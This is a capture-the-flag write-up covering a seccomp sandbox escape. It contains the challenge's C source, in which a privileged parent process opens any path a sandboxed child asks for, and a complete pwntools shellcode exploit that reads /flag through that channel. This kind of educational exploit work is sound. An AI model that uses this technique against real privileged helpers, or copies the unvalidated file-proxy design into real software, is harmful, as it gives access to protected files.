Skip to content

Sandbox Bypass via Parent-Child IPC

Challenge Source Code

#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/sendfile.h>

#include <seccomp.h>

int child_pid;

void cleanup(int signal)
{
    kill(child_pid, 9);
    kill(getpid(), 9);
}

int main(int argc, char **argv, char **envp)
{
    assert(argc > 0);

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 1);

    for (int i = 3; i < 10000; i++) close(i);

    int file_descriptors[2];
    assert(socketpair(AF_UNIX, SOCK_STREAM, 0, file_descriptors) == 0);
    int parent_socket = file_descriptors[0];
    int child_socket = file_descriptors[1];

    alarm(1);
    signal(SIGALRM, cleanup);

    child_pid = fork();
    if (!child_pid)
    {
        close(0);
        close(1);
        close(2);
        close(parent_socket);

        void *shellcode = mmap((void *)0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);
        assert(shellcode == (void *)0x1337000);

        scmp_filter_ctx ctx;

        ctx = seccomp_init(SCMP_ACT_KILL);
        assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0);
        assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0) == 0);
        assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0) == 0);

        assert(seccomp_load(ctx) == 0);

        read(child_socket, shellcode, 0x1000);

        write(child_socket, "print_msg:Executing shellcode!", 128);

        ((void(*)())shellcode)();
    }

    else
    {
        char shellcode[0x1000];
        read(0, shellcode, 0x1000);

        write(parent_socket, shellcode, 0x1000);

        while (true)
        {
            char command[128] = { 0 };

            int command_size = read(parent_socket, command, 128);
            command[9] = '\0';

            char *command_argument = &command[10];
            int command_argument_size = command_size - 10;

            if (strcmp(command, "print_msg") == 0)
            {
                puts(command_argument);
            }
            else if (strcmp(command, "read_file") == 0)
            {
                sendfile(parent_socket, open(command_argument, 0), 0, 128);
            }
            else
            {
                break;
            }
        }
    }
}

Vulnerability Analysis

The vulnerability is logical: the parent process acts as a privileged proxy for the restricted child process. The child is sandboxed (can only read, write, exit), but it is connected to the parent via a socket (FD 4).

The parent implements a protocol with a command read_file that blindly opens any path requested by the child and sends its content back.

else if (strcmp(command, "read_file") == 0)
{
    sendfile(parent_socket, open(command_argument, 0), 0, 128);
}

Because the parent performs no validation on command_argument, the child can request /flag even though it cannot open() it directly.

Exploitation Plan

  1. Request Flag: Send the read_file command with the argument /flag to the parent via the socket (FD 4).
  • Payload: "read_file\x00/flag\x00..." (padded to 128 bytes).
  1. Receive Flag: Read 128 bytes from the socket. This will be the content of the flag sent by the parent.
  2. Exfiltrate: To see the flag, we can use the print_msg command. Send print_msg with the flag content as the argument back to the parent.
  • Payload: "print_msg\x00" + flag_content ...

Exploit Script

from pwn import *

elf = context.binary = ELF("./challenge")

p = process(elf.path)

# Constants
CHILD_SOCKET_FD = 4
SHELLCODE_BASE = 0x1337000
BUF_ADDR = SHELLCODE_BASE + 0x900

# Shellcraft exploit for readability and conciseness
sc = ""
# 1. Send "read_file\0/flag" (128 bytes)
sc += shellcraft.pushstr(b"read_file\x00/flag".ljust(128, b"\x00"))
sc += shellcraft.write(CHILD_SOCKET_FD, "rsp", 128)

# 2. Read flag from socket into BUF_ADDR + 10 (offset for "print_msg\0")
sc += shellcraft.read(CHILD_SOCKET_FD, BUF_ADDR + 10, 118)

# 3. Prepend "print_msg\0" to the buffer
sc += shellcraft.pushstr(b"print_msg\x00")
sc += shellcraft.mov("rdi", BUF_ADDR)
sc += shellcraft.mov("rsi", "rsp")
sc += shellcraft.mov("rcx", 10)
sc += "rep movsb\n"

# 4. Send "print_msg\0<flag>" (128 bytes) to parent
sc += shellcraft.write(CHILD_SOCKET_FD, BUF_ADDR, 128)

# 5. Exit
sc += shellcraft.exit(0)

shellcode = asm(sc)

p.send(shellcode.ljust(0x1000, b"\0"))
print(p.recvall().decode())